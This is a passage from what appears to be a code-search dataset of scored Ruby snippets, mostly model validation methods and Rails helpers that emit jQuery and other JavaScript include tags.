@schedule_type.nil?\n schedule_type_validator = EnumAttributeValidator.new('String', [\"manual\", \"daily\", \"weekly_fixedday\", \"month_startdate\", \"month_fixedday\", \"month_lastday\"])\n return false unless schedule_type_validator.valid?(@schedule_type)\n return false if !@schedule_fixed_day.nil? && @schedule_fixed_day > 28\n return false if !@schedule_fixed_day.nil? && @schedule_fixed_day < 1\n return false if !@base_month.nil? && @base_month > 12\n return false if !@base_month.nil? && @base_month < 1\n return false if !@notice_periods.nil? && @notice_periods < 0\n return false if !@fixation_periods.nil? && @fixation_periods < 0\n return true\n end",
"title": ""
},
{
"docid": "6e43e9fb6b5f8b61860a3984db9bd211",
"score": "0.59601706",
"text": "def valid?\n checksum == params['TradeSha']\n end",
"title": ""
},
{
"docid": "0b9699e827c89e790a27a452789eed62",
"score": "0.59546816",
"text": "def execute\n valid? # Validate if the validation is not run.\n end",
"title": ""
},
{
"docid": "bc866523a6ff513ac9d05a214b675fa3",
"score": "0.59480095",
"text": "def in_transaction\n ActiveRecord::Base.transaction {\n memo = yield\n was_success = !!memo && Array(memo).all? { |t| t.errors.empty? }\n was_success or raise ActiveRecord::Rollback\n }\n end",
"title": ""
},
{
"docid": "581da29822d672217eb100f37300409c",
"score": "0.5942474",
"text": "def valid?\n @errors = []\n\n if !bank_transaction_id.nil? && bank_transaction_id !~ GUID_REGEX\n @errors << ['bank_transaction_id', 'must be blank or a valid Xero GUID']\n end\n\n if type && !TYPES[type]\n @errors << ['type', \"must be one of #{TYPES.keys.join('/')}\"]\n end\n\n if status && !STATUSES[status]\n @errors << ['status', \"must be one of #{STATUSES.keys.join('/')}\"]\n end\n\n unless date\n @errors << ['date', \"can't be blank\"]\n end\n\n # Make sure contact is valid.\n unless @contact && @contact.valid?\n @errors << ['contact', 'is invalid']\n end\n\n # Make sure all line_items are valid.\n unless line_items.all? { | line_item | line_item.valid? }\n @errors << ['line_items', \"at least one line item invalid\"]\n end\n\n @errors.size == 0\n end",
"title": ""
},
{
"docid": "3c29b3d304e9743d7d58730510d8eb69",
"score": "0.59416676",
"text": "def validate_parameters(data)\n true\n end",
"title": ""
},
{
"docid": "8f956530aa4d248653d084332cfaf34d",
"score": "0.5938433",
"text": "def valid?\n return false if @customer.nil?\n return false if !@receiver_email.nil? && @receiver_email.to_s.length > 254\n return false if !@overdue_notice_email.nil? && @overdue_notice_email.to_s.length > 254\n return false if [email protected]? && @number.to_s.length > 100\n return false if [email protected]? && @reference.to_s.length > 255\n return false if @order_date.nil?\n return false if !@invoices_due_in.nil? && @invoices_due_in > 10000\n return false if !@invoices_due_in.nil? && @invoices_due_in < 0\n invoices_due_in_type_validator = EnumAttributeValidator.new('String', [\"DAYS\", \"MONTHS\", \"RECURRING_DAY_OF_MONTH\"])\n return false unless invoices_due_in_type_validator.valid?(@invoices_due_in_type)\n return false if @delivery_date.nil?\n order_line_sorting_validator = EnumAttributeValidator.new('String', [\"ID\", \"PRODUCT\", \"CUSTOM\"])\n return false unless order_line_sorting_validator.valid?(@order_line_sorting)\n return false if !@subscription_duration.nil? && @subscription_duration < 0\n subscription_duration_type_validator = EnumAttributeValidator.new('String', [\"MONTHS\", \"YEAR\"])\n return false unless subscription_duration_type_validator.valid?(@subscription_duration_type)\n return false if !@subscription_periods_on_invoice.nil? && @subscription_periods_on_invoice < 0\n subscription_periods_on_invoice_type_validator = EnumAttributeValidator.new('String', [\"MONTHS\"])\n return false unless subscription_periods_on_invoice_type_validator.valid?(@subscription_periods_on_invoice_type)\n subscription_invoicing_time_in_advance_or_arrears_validator = EnumAttributeValidator.new('String', [\"ADVANCE\", \"ARREARS\"])\n return false unless subscription_invoicing_time_in_advance_or_arrears_validator.valid?(@subscription_invoicing_time_in_advance_or_arrears)\n return false if !@subscription_invoicing_time.nil? && @subscription_invoicing_time < 0\n subscription_invoicing_time_type_validator = EnumAttributeValidator.new('String', [\"DAYS\", \"MONTHS\"])\n return false unless subscription_invoicing_time_type_validator.valid?(@subscription_invoicing_time_type)\n return true\n end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "6b045ce4860f3e02870498792c74a0b9",
"score": "0.59383774",
"text": "def validate; end",
"title": ""
},
{
"docid": "dd97f17c6ef2d90405a1aab0bbe0dae7",
"score": "0.5937531",
"text": "def test_validate_patient_account_number_by_giving_valid_data\n provider_adj = ProviderAdjustment.new\n provider_adj.patient_account_number= \"gh.gh-89\"\n provider_adj.save\n assert provider_adj.valid?, provider_adj.errors.full_messages.to_s\n end",
"title": ""
},
{
"docid": "2ba478d95c14717bda5ae9cd3d57fd46",
"score": "0.59360707",
"text": "def check_create_enrollment_data_validity(enrollment_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(OrgUnitId UserId RoleId),\n 'properties' => {\n 'OrgUnitId' => { 'type' => 'integer' },\n 'UserId' => { 'type' => 'integer' },\n 'RoleId' => { 'type' => 'integer' }\n }\n }\n JSON::Validator.validate!(schema, enrollment_data, validate_schema: true)\nend",
"title": ""
},
{
"docid": "576d17f666c7b39c4bf1dc1f1b994489",
"score": "0.5931893",
"text": "def validate_amount(transaction_amount)\n raise 'Amount must be above 0!' if transaction_amount <= 0\n end",
"title": ""
},
{
"docid": "a12de7f193a80524018a29cf30aa4006",
"score": "0.5911931",
"text": "def execute_transaction\n if @sender.balance < @amount || !valid?\n @status = \"rejected\"\n return \"Transaction rejected. Please check your account balance.\"\n elsif @status == \"complete\"\n puts \"This transaction has already been processed.\"\n else\n @sender.deposit(@amount * -1)\n @receiver.deposit(@amount)\n @status = \"complete\"\n end\n end",
"title": ""
},
{
"docid": "aa9204e44ce5d3ee796f7b5a0116b710",
"score": "0.5911516",
"text": "def test_valid_address_pair\n transaction = [\"123456\", \"654321\"]\n assert_nil @VERIFY.validate_address(transaction)\n end",
"title": ""
},
{
"docid": "49311cbcadbf9ea9554cb5c60c7eb3d6",
"score": "0.59009576",
"text": "def validate(run)\n\n end",
"title": ""
},
{
"docid": "96829d0e1ca2cb79e723eea168a6caf8",
"score": "0.5898347",
"text": "def validate_insert(data)\n\n # If the number of columns in the data does not match the number of columns in the table, error out\n unless data.length == @columns.length\n require './src/exceptions/InvalidDataSetError'\n raise InvalidDataSetError(\"#{data.length} columns in data set, #{@columns.length} expected.\")\n end\n\n # We need to track the number of rows in each column of our data, but we need to scope it outside our loop, so we initialize it to -1\n column_data_length = -1\n\n # Iterate through each column\n data.each do |column_name, column_data|\n\n # If the column data length is -1, it has not been set yet, so we set it\n if column_data_length == -1\n column_data_length = column_data.length\n\n # If the column data length is different than a previously saved length, error out since they should all be the same.\n elsif column_data_length != column_data.length\n require './src/exceptions/InvalidDataSetError'\n raise InvalidDataSetError('Datasets columns contain different number of records.')\n end\n\n # If the column name from the data is not saved to the table, error out since our table can't hold it\n unless @columns.include?(column_name)\n require './src/exceptions/InvalidDataSetError'\n raise InvalidDataSetError(\"Column #{column_name} was in the dataset, but not the table.\")\n end\n end\n end",
"title": ""
},
{
"docid": "d8581f5a4374904381049c950aab7504",
"score": "0.5895869",
"text": "def validate\n return false if @id.nil? or @id < 0\n return false if @name.nil? or @name.strip.length <= 0\n return false if @description.nil? or @description.strip.length <= 0\n return false if @capacity.nil? or @capacity < -1\n return true\n end",
"title": ""
},
{
"docid": "9582011e5ccc756dbc19ad56cdaf79e6",
"score": "0.58923835",
"text": "def validate_amount\n if transaction_type == :transfer\n if amount > User.find(sender_id).balance\n errors.add(:amount, \"can't be more than your account balance\")\n end\n end\n end",
"title": ""
},
{
"docid": "b330cc4c7a8758e3c82f159b3f95b685",
"score": "0.588959",
"text": "def validate \n##\tfirst check whether combo fields have been selected\n#\t is_valid = true\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:transaction_type_code => self.transaction_type_code}],self) \n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n#\t if is_valid\n#\t\t is_valid = set_transaction_type\n#\t end\nend",
"title": ""
},
{
"docid": "4ec2da70617cc94fea10a66e65a8f76a",
"score": "0.58821976",
"text": "def verify\n result = bitcoin.verify_transaction(transaction_json, Output.all_history)\n\n if result\n transaction = Transaction.from_json(transaction_json)\n if transaction.save\n response.headers['id'] = transaction.id.to_s\n render json: transaction\n return\n end\n end\n render json: '{\"error\":\"TRANSACTION NOT SAVED\"}', status: 401\n end",
"title": ""
},
{
"docid": "085ab27be67753f4ed445ed266a16182",
"score": "0.58814275",
"text": "def valid?\n return false if !@trace_number.nil? && @trace_number.to_s.length > 15\n return false if !@trace_number.nil? && @trace_number.to_s.length < 1\n return false if !@payment_status.nil? && @payment_status.to_s.length > 20\n return false if !@payment_status.nil? && @payment_status.to_s.length < 1\n return false if !@payee_name.nil? && @payee_name.to_s.length > 60\n return false if !@payee_name.nil? && @payee_name.to_s.length < 1\n return false if !@payment_amount.nil? && @payment_amount > 99999999.99\n return false if !@payment_amount.nil? && @payment_amount < 0\n true\n end",
"title": ""
},
{
"docid": "88a828a8dff5de0da8ee39f31a4e5ae2",
"score": "0.58794975",
"text": "def data_validate (data)\n\n params = {\n 'data' => data,\n 'errors' => {\n '__global' => [],\n },\n }\n\n reset_values\n\n data_convert_json(params)\n\n\n\n # If error happend, pass data to fields\n if params['errors']['__global'].length == 0\n set_values (params['data'])\n\n data_validate_fields(params['errors'])\n end\n\n reset_values\n\n params\n\n end",
"title": ""
},
{
"docid": "4d10fc26e868dec5c3dcc70150eb1c82",
"score": "0.5875128",
"text": "def validated; end",
"title": ""
},
{
"docid": "4d10fc26e868dec5c3dcc70150eb1c82",
"score": "0.5875128",
"text": "def validated; end",
"title": ""
},
{
"docid": "72d07f5da008336829cc6bcceb22027a",
"score": "0.5871417",
"text": "def test_verify_transactions_pattern_wrong\n block_array = []\n invalid_transactions = 'abc'\n refute verify_transactions(invalid_transactions, block_array, 0)\n assert_output(\"Line 0: Cannot parse transaction 'abc'\\n\"){verify_transactions(invalid_transactions, block_array, 0)}\n end",
"title": ""
},
{
"docid": "2e7d090021a065967f593751fb094bcb",
"score": "0.58712083",
"text": "def valid?\n return false if [email protected]? && @mid.to_s.length > 50\n return false if [email protected]? && @mid.to_s.length < 1\n return false if @amount.nil?\n return false if @source_amount.nil?\n return false if @reconciliation_amount.nil?\n return false if @card_token.nil?\n return false if @card_token.to_s.length > 36\n return false if @card_token.to_s.length < 1\n return false if @card_hash.nil?\n return false if !@acquirer_reference_id.nil? && @acquirer_reference_id.to_s.length > 23\n return false if !@acquirer_reference_id.nil? && @acquirer_reference_id.to_s.length < 1\n return false if [email protected]? && @rrn.to_s.length > 16\n return false if [email protected]? && @rrn.to_s.length < 1\n return false if [email protected]? && @stan.to_s.length > 12\n return false if [email protected]? && @stan.to_s.length < 1\n return false if !@processing_code.nil? && @processing_code.to_s.length > 2\n return false if !@processing_code.nil? && @processing_code.to_s.length < 2\n return false if !@function_code.nil? && @function_code.to_s.length > 3\n return false if !@function_code.nil? && @function_code.to_s.length < 3\n return false if !@reason_code.nil? && @reason_code.to_s.length > 4\n return false if !@reason_code.nil? && @reason_code.to_s.length < 4\n return false if !@approval_code.nil? && @approval_code.to_s.length > 6\n return false if !@approval_code.nil? && @approval_code.to_s.length < 1\n return false if !@network_reference_id.nil? && @network_reference_id.to_s.length > 16\n return false if !@network_reference_id.nil? && @network_reference_id.to_s.length < 1\n network_validator = EnumAttributeValidator.new('String', [\"DISCOVER\", \"MASTERCARD\", \"PULSE\", \"VISA\"])\n return false unless network_validator.valid?(@network)\n sub_network_validator = EnumAttributeValidator.new('String', [\"VISANET\", \"VISANETDEBIT\", \"VISAINTERLINK\", \"VISAPLUS\"])\n return false unless sub_network_validator.valid?(@sub_network)\n return false if @currency_code.nil?\n return false if @currency_code.to_s.length > 3\n return false if @currency_code.to_s.length < 3\n cross_border_indicator_validator = EnumAttributeValidator.new('String', [\"SINGLE_CURRENCY\", \"MULTI_CURRENCY\", \"REBATE\", \"UNKNOWN\"])\n return false unless cross_border_indicator_validator.valid?(@cross_border_indicator)\n return false if !@token_pan.nil? && @token_pan.to_s.length > 16\n return false if !@token_pan.nil? && @token_pan.to_s.length < 1\n mti_validator = EnumAttributeValidator.new('String', [\"0220\", \"0420\"])\n return false unless mti_validator.valid?(@mti)\n true\n end",
"title": ""
},
{
"docid": "89ce02bc6dbc868eb243d767dd5fb154",
"score": "0.58711517",
"text": "def validate_inventory()\n validated = true\n line_item_total = 0\n line_item_hash = Hash.new \n self.line_items.each do |line_item|\n line_item_hash[line_item.variant_id] = line_item.quantity\n line_item_total += line_item.quantity\n end\n \n \n inventory_total = 0\n inventory_hash = Hash.new \n self.inventory_units.each do |unit|\n inventory_total += 1\n if inventory_hash.has_key?(unit.variant_id)\n inventory_hash[unit.variant_id] += 1\n else\n inventory_hash[unit.variant_id] = 1\n end \n end\n \n validated = false if (inventory_total != line_item_total)\n self.line_items.each do |line_item|\n validated = false if line_item_hash[line_item.variant_id] != inventory_hash[line_item.variant_id]\n break if !validated \n end\n \n raise \"inventory_units not matched with line item: \" + self.number if !validated\n\n\n shipping_events_total = 0\n shipping_events_hash = Hash.new\n self.shipments.first.shipping_events.each do |se|\n se.inventory_units.each do |unit|\n # puts se.id.to_s + \"#\" + unit.id.to_s\n # puts se.shipped_at\n # puts unit.state \n shipping_events_total += 1\n if se.is_shipped?\n validated = false if unit.state != 'returned' && unit.state != 'shipped' \n else\n validated = false if unit.state == 'shipped'\n end\n \n \n break if !validated \n end\n end\n \n \n raise \"inventory_units state not matched with shipping events: \" + self.number if !validated\n \n validated = false if (inventory_total != shipping_events_total)\n # puts inventory_total\n # puts shipping_events_total\n raise \"inventory_units total not matched with shipping events: \" + self.number if !validated\n \n return validated \n \n end",
"title": ""
},
{
"docid": "461aca5f101e9f35054ef657f839d4de",
"score": "0.5868558",
"text": "def validates (data)\n # Split input line by pipe char and validates each field\n fields = data.split(\"|\")\n # line must have 4 fields\n return false, \"Incorrect number of arguments: #{fields.size} instead of 4!\" if fields.size!=4\n # verifies timestamp size and format\n return false, \"Incorrect timestamp string size: #{fields[0]}\" if fields[0].size!=16 \n begin\n DateTime.iso8601(fields[0])\n rescue ArgumentError\n return false, \"Incorrect timestamp format: #{fields[0]}\" \n end\n # location must be represented by two natural numbers splited by comma\n return false, \"Incorrect location format: #{fields[1]}\" if fields[1].split(\",\").size!=2 or (fields[1].split(\",\")[0] =~ /^[0-9]+$/).nil? or (fields[1].split(\",\")[1] =~ /^[0-9]+$/).nil?\n # verifies if observatory code is valid\n return false, \"Invalid observatory code: #{fields[3]}\" unless OBSERVATORY_CODES.include?(fields[3])\n # verifies if temperature is a natual number for Kelvin input or a Integer for Celsius and Fahrenheit\n return false, \"Incorrect temperature value (°K): #{fields[2]}\" if ![\"AU\",\"US\"].include?(fields[3]) and (fields[2] =~ /^[0-9]+$/).nil?\n return false, \"Incorrect temperature value (°C): #{fields[2]}\" if fields[3]==\"AU\" and ((fields[2] =~ /^[-+]?[0-9]+$/).nil? or fields[2].to_i < -273)\n return false, \"Incorrect temperature value (°F): #{fields[2]}\" if fields[3]==\"US\" and ((fields[2] =~ /^[-+]?[0-9]+$/).nil? or fields[2].to_i < -459)\n\n # Populate attributes and normalize to Kelvin and meters, no errors on validation\n @timestamp = DateTime.iso8601(fields[0])\n case fields[3]\n when \"AU\" # Celsius and Kilometers\n @location = [fields[1].split(\",\")[0].to_i*1000, fields[1].split(\",\")[1].to_i*1000]\n @temperature = fields[2].to_i+273\n when \"US\" # Fahrenheit and Miles\n @location = [fields[1].split(\",\")[0].to_i*1609, fields[1].split(\",\")[1].to_i*1609]\n @temperature = ((fields[2].to_i+459.67)*5.0/9.0).floor \n when \"FR\" # Kelvin and Meters\n @location = [fields[1].split(\",\")[0].to_i, fields[1].split(\",\")[1].to_i]\n @temperature = fields[2].to_i \n else # Kelvin and Kilometers\n @location = [fields[1].split(\",\")[0].to_i*1000, fields[1].split(\",\")[1].to_i*1000]\n @temperature = fields[2].to_i\n end\n @observatory = fields[3]\n\n return true, \"\"\n end",
"title": ""
}
] |
3bc4922ee536fc7df3c39c399b390e75
|
Outputs modernizr script tags, with appropriate jquery path Scripts should be added as a page variable (array). External paths and paths prefixed with "!" are not altered. jQuery CDN path is automatically added on production for "jquery".
|
[
{
"docid": "3f56de7201c8d77a34f367ce34fbd7f6",
"score": "0.8171283",
"text": "def modernizr_scripts\n scripts = current_page.data.javascripts || data.global.javascripts\n\n if scripts.is_a?(Array)\n scripts = scripts.map do |script|\n if script[0,2] == \"//\" || script[0,7] == \"http://\" || script[0,8] == \"https://\"\n # use as is\n elsif script[0] == \"!\"\n script = script[1..-1]\n elsif script == \"jquery\"\n script = development? ? asset_path(:js, \"vendor/jquery\") : \"//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js\"\n else\n script = asset_path :js, script\n end\n \"'#{script}'\"\n end\n\n output = javascript_include_tag \"vendor/modernizr\"\n output << %Q|\\n<script>\\n Modernizr.load([\\n #{scripts.join(\",\\n \")}\\n ]);\\n</script>|.html_safe\n else\n javascript_include_tag \"vendor/modernizr\"\n end\n end",
"title": ""
}
] |
[
{
"docid": "cf82daf12bf43588c84336e6867154b7",
"score": "0.65702957",
"text": "def javascripts\n out = []\n files = []\n if offline_mode?\n files << %w(jquery jquery-ui)\n else\n out << google_jquery(:version => '1.4.1')\n out << google_jqueryui\n end\n # files << %w(jquery.tools.min.js jquery.watermark application)\n # jquery.dimensions functionality is allegedly rolled into jquery 1.4.2..\n # http://plugins.jquery.com/node/13691\n files << %w(jquery.mousewheel.min jScrollHorizontalPane jquery.watermark jquery.google-analytics application)\n out << javascript_include_tag(files.flatten)\n out.flatten.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "19c552f157d9622e83b0c1241eb6b827",
"score": "0.6456823",
"text": "def surveyor_includes\n if asset_pipeline_enabled?\n stylesheet_link_tag('surveyor_all') + javascript_include_tag('surveyor_all')\n else\n stylesheet_link_tag('surveyor/reset',\n 'surveyor/jquery-ui-1.10.0.custom',\n 'surveyor/jquery-ui-timepicker-addon',\n 'surveyor/ui.slider.extras',\n 'surveyor/results',\n 'surveyor',\n 'custom') +\n javascript_include_tag('surveyor/jquery-1.9.0',\n 'surveyor/jquery-ui-1.10.0.custom',\n 'surveyor/jquery-ui-timepicker-addon',\n 'surveyor/jquery.selectToUISlider',\n 'surveyor/jquery.surveyor',\n 'surveyor/jquery.maskedinput')\n end\n end",
"title": ""
},
{
"docid": "75330654b1e887ccfb3990cee97efba3",
"score": "0.6331212",
"text": "def page_javascripts(options={})\n \n # initialize collection\n javascripts = []\n conditional_scripts = []\n @javascripts_add ||= []\n @javascripts_ignore ||= []\n \n # Additional scripts (if requested)\n if options[:include]\n @javascripts_add = [options[:include]].flatten + @javascripts_add\n end\n \n # Exclude scripts (if requested)\n if options[:exclude]\n @javascripts_ignore = [options[:exclude]].flatten + @javascripts_ignore\n end\n\n # Add more scripts\n @javascripts_add.each do |javascript|\n javascripts << javascript\n end\n \n # Ignore scripts\n @javascripts_ignore.each do |javascript|\n javascripts.delete(javascript)\n end\n \n # dedupe javascript array\n javascripts.uniq!\n \n # Build Output\n html_output = javascript_include_tag(*javascripts)\n \n # Controller/action scripts\n conditional_scripts << \"#{controller.controller_name}\"\n conditional_scripts << \"#{controller.controller_name}/#{controller.action_name}\"\n \n # only add conditional scripts if they exist on disk\n conditional_scripts.each do |javascript|\n if File.exist?(\"#{RAILS_ROOT}/public/javascripts/#{javascript}.js\")\n html_output << \"\\n\"\n html_output << javascript_include_tag(javascript)\n end\n end\n \n # return output\n return html_output\n end",
"title": ""
},
{
"docid": "1d052926c7421cf1d3b33ee10a0f546d",
"score": "0.62489814",
"text": "def jquery_with_fallback(options={})\n options = {:version => \"1.5.1\"}.merge(options)\n str = \"\"\n str += \"<script src=\\\"//ajax.googleapis.com/ajax/libs/jquery/#{options['jquery_version']}/jquery.js\\\"></script>\"\n url = '/javascripts/libs/jquery.js'\n str += \"\\n<script>window.jQuery || document.write(\\\"<script src='#{url}'>\\\\x3C/script>\\\")</script>\"\n end",
"title": ""
},
{
"docid": "5af62003e65937a44c92061afda6a5b2",
"score": "0.62442774",
"text": "def jquery_include_tag\n buf = []\n if AppConfig.privacy.jquery_cdn?\n version = Jquery::Rails::JQUERY_VERSION\n buf << [javascript_include_tag(\"//ajax.googleapis.com/ajax/libs/jquery/#{version}/jquery.min.js\")]\n buf << [javascript_tag(\"!window.jQuery && document.write(unescape('#{j javascript_include_tag(\"jquery\")}'));\")]\n else\n buf << [javascript_include_tag('jquery')]\n end\n buf << [javascript_include_tag('jquery_ujs')]\n buf << [javascript_tag(\"jQuery.ajaxSetup({'cache': false});\")]\n buf << [javascript_tag(\"$.fx.off = true;\")] if Rails.env.test?\n buf.join(\"\\n\").html_safe\n end",
"title": ""
},
{
"docid": "0a2478168752ae15270bb8c86a2c3773",
"score": "0.60631585",
"text": "def jquery_include_tag use_cdn=true, use_jq2=false\n if use_jq2\n localfile = 'jquery2'\n version = Jquery::Rails::JQUERY_2_VERSION\n else\n localfile = 'jquery'\n version = Jquery::Rails::JQUERY_VERSION\n end\n [ (javascript_include_tag(\"//ajax.googleapis.com/ajax/libs/jquery/#{version}/jquery.min.js\") if use_cdn),\n javascript_tag(\"window.jQuery || document.write(unescape('#{javascript_include_tag(localfile).gsub('<','%3C')}'))\")\n ].join(\"\\n\").html_safe\n end",
"title": ""
},
{
"docid": "045bf1e28735d5d605e92e91451a03f4",
"score": "0.59685737",
"text": "def javascripts\n # First the core files\n scripts = ['jquery-1.4.2.min', 'jquery.tools.min', 'application']\n\n # Controller specific js\n scripts << controller_name if File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, \"#{controller_name}.js\"))\n\n # Any one-off extras that have been defined in views (should be rare)\n scripts += extra_js_includes\n \n # Dean Edwards' IE7 library if running IE6\n scripts << 'ie7' if ie6?\n \n # Return script block\n javascript_include_tag(*scripts) + \"\\n\"\n end",
"title": ""
},
{
"docid": "00968413e47ccedaaa1230e12cbd0baa",
"score": "0.5903803",
"text": "def flot_includes(options = {:jquery => true, :no_conflict => false, :include_all => false})\n return <<-EOJS\n #{stylesheet_link_tag 'flotomatic'}\n \t <!--[if IE]> #{javascript_include_tag('flotomatic/excanvas.min.js')} </script><![endif]-->\n #{javascript_include_tag('flotomatic/jquery.flot.js')}\n #{javascript_include_tag('flotomatic/jquery.flot.selection.min.js') if options[:include].eql?(:selection)}\n #{flot_extra_javascripts if options[:include_all]}\n #{javascript_include_tag('flotomatic/flotomatic')}\n #{javascript_include_tag('flotomatic/sizzle.min.js')}\n EOJS\n end",
"title": ""
},
{
"docid": "ebddc95c0e06e411a8b291294ab27e5e",
"score": "0.58992815",
"text": "def default_html_head\n if use_asset_pipeline?\n stylesheet_links << [\"application\"]\n javascript_includes << [\"application\"]\n else\n stylesheet_links << ['yui', 'jquery/ui-lightness/jquery-ui-1.8.1.custom.css', 'blacklight/blacklight', {:media=>'all'}]\n \n javascript_includes << ['jquery-1.4.2.min.js', 'jquery-ui-1.8.1.custom.min.js', 'blacklight/blacklight' ]\n end\n end",
"title": ""
},
{
"docid": "df2a65781caf8e097c81dd28f98e7d30",
"score": "0.58789665",
"text": "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_PLANNERS, JS_SKOBEE_PLANS, JS_SKOBEE_COMMENTS]\r\n end",
"title": ""
},
{
"docid": "ec978ccb35581ab23b8b8b6fe3bdee3c",
"score": "0.58742917",
"text": "def emit_page_javascripts(**opt)\n @page_javascript ||= DEFAULT_PAGE_JAVASCRIPTS.dup\n @page_javascript.flatten!\n @page_javascript.compact_blank!\n result = []\n result << javascript_include_tag(*@page_javascript, opt)\n result << app_javascript(**opt)\n if defined?(CapybaraLockstep) && CapybaraLockstep.active\n result << capybara_lockstep(opt)\n end\n safe_join(result, \"\\n\")\n end",
"title": ""
},
{
"docid": "0e37ee53c6117c41a529ad5f0e5dea0a",
"score": "0.5846602",
"text": "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT]\r\n end",
"title": ""
},
{
"docid": "1a0475f92e9ddab2a3944321b48354b9",
"score": "0.5833193",
"text": "def include_javascript_for_catalog_show\n javascript_includes << ['custom', {:plugin=>\"hydra-head\"}] \n \n # This file contains the page initialization scripts for catalog show views\n javascript_includes << [\"catalog/show\", {:plugin=>\"hydra-head\"}]\n end",
"title": ""
},
{
"docid": "e31cf5307702f68bf4b555f185c33afc",
"score": "0.5804838",
"text": "def smart_asset_runtime_includes\n generate_html(smart_asset_options[:runtime_stylesheets], smart_asset_options[:runtime_javascripts])\n end",
"title": ""
},
{
"docid": "ec4c835655f3599fa777fa7fbec6ee14",
"score": "0.58039826",
"text": "def javascript_include_tag(file_name)\n path_prefix = development? ? '/assets/' : '/js/'\n suffix = development? ? '' : \"-#{Rquest::VERSION}.min\"\n %(<script src=\"#{path_prefix}#{file_name}#{suffix}.js\"></script>)\nend",
"title": ""
},
{
"docid": "14ce7d3401cf02ab5a2097596893a1b5",
"score": "0.5767238",
"text": "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_DATEPICKER, JS_SKOBEE_TIMEZONE]\r\n end",
"title": ""
},
{
"docid": "ff213cdf645aeccb22a90d02ad7acc8c",
"score": "0.5758114",
"text": "def html5_script folder = nil\n ie_script_tag 8, :lte do\n script_src_tag folder ? File.join(folder, \"html5.min.js\") : \"http://html5shim.googlecode.com/svn/trunk/html5.js\"\n end\n end",
"title": ""
},
{
"docid": "382a76771c5458629f5d538a3a80b68c",
"score": "0.5703673",
"text": "def kryptonite_config_javascript_includes\n \t %w[/kryptonite/javascripts/jquery /kryptonite/javascripts/custom /kryptonite/javascripts/kryptonite /kryptonite/javascripts/rails]\n \tend",
"title": ""
},
{
"docid": "d3b0dcb8184c3a8ec4c09a85af6fdab6",
"score": "0.56720126",
"text": "def javascript_tags\n '<!--[if IE]>' + javascript_include_tag('excanvas.min') + '<![endif]-->'+\n javascript_include_tag('jquery.min') + \n javascript_include_tag('jquery.flot.min') +\n javascript_include_tag('jquery.flot.threshold.min') + \n javascript_include_tag('jquery.flot.crosshair.min') +\n javascript_include_tag('jquery.flot.selection.min') +\n javascript_include_tag('jquery.flot.stack.min') \n end",
"title": ""
},
{
"docid": "99aadaf0dae61dc94cf6c54b26c23881",
"score": "0.565825",
"text": "def chili_pdf_javascripts(wants_html)\n file_type_list(:js, PLUGIN_JS_DIR, wants_html) {|asset_path|\n \"<script src='#{asset_path}' type='text/javascript'></script>\"\n }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "90324bee367fd2d136b28eb1b81c9392",
"score": "0.5651896",
"text": "def render_document_ready_scripts( lib = 'jQuery')\n return nil unless content_for? :document_ready_scripts\n javascript_tag <<-SCRIPTS\n (function($){ $(document).ready( function(){\n #{ content_for :document_ready_scripts }\n });})(#{lib});\n SCRIPTS\n end",
"title": ""
},
{
"docid": "730a0a218758038aa2efdac3b777fc59",
"score": "0.564297",
"text": "def set_static_includes\n @javascripts = [JS_SKOBEE_SPLASH, JS_SCRIPTACULOUS_SKOBEE_DEFAULT]\n end",
"title": ""
},
{
"docid": "742fc2127852ab913157eb19db254e24",
"score": "0.56143",
"text": "def lightbox2_helpers_javascripts()\n [\"lightbox2_helpers/builder.js\",\n \"lightbox2_helpers/lightbox.js\"]\n end",
"title": ""
},
{
"docid": "1b354a3781dd0752debc75256dabcdd6",
"score": "0.5607517",
"text": "def add_javascript(content)\n if Rails.env.development?\n script_tag = '<script src=\"http://localhost:3000/javascripts/jquery.js\"></script>'\n script_tag += '<script src=\"http://localhost:3000/javascripts/jquery.placeholder.js\"></script>'\n script_tag += '<script src=\"http://localhost:3000/javascripts/application.js\"></script>'\n else\n script_tag = '<script src=\"http://fromthecache.com/assets/common.js\"></script>'\n end\n (content/\"body\").append(script_tag)\n end",
"title": ""
},
{
"docid": "6eec6ca20c5a45b13e46a7422c503a00",
"score": "0.558741",
"text": "def include_javascript_for_catalog_edit\n # This _would_ include the fluid infusion javascripts, but we don't want them\n # javascript_includes << infusion_javascripts(:default_no_jquery, :extras=>[:inline_editor_integrations], :debug=>true, :render_html=>false)\n \n javascript_includes << [\"jquery.jeditable.mini.js\", {:plugin=>\"hydra-head\"}]\n javascript_includes << [\"jquery.form.js\", {:plugin=>\"hydra-head\"}]\n javascript_includes << ['custom', {:plugin=>\"hydra-head\"}]\n \n javascript_includes << [\"jquery.hydraMetadata.js\", {:plugin=>\"hydra-head\"}]\n javascript_includes << [\"jquery.notice.js\", {:plugin=>\"hydra-head\"}]\n \n javascript_includes << [\"jquery.jeditable.mini.js\", \"date-picker/js/datepicker\", \"jquery.form.js\", 'custom', \"catalog/edit\", \"jquery.hydraMetadata.js\", \"jquery.notice.js\", {:plugin=>\"hydra-head\"}]\n # For DatePicker\n javascript_includes << [\"jquery.ui.widget.js\",\"jquery.ui.datepicker.js\", \"mediashelf.datepicker.js\", {:plugin=>\"hydra-head\" }]\n \n # For 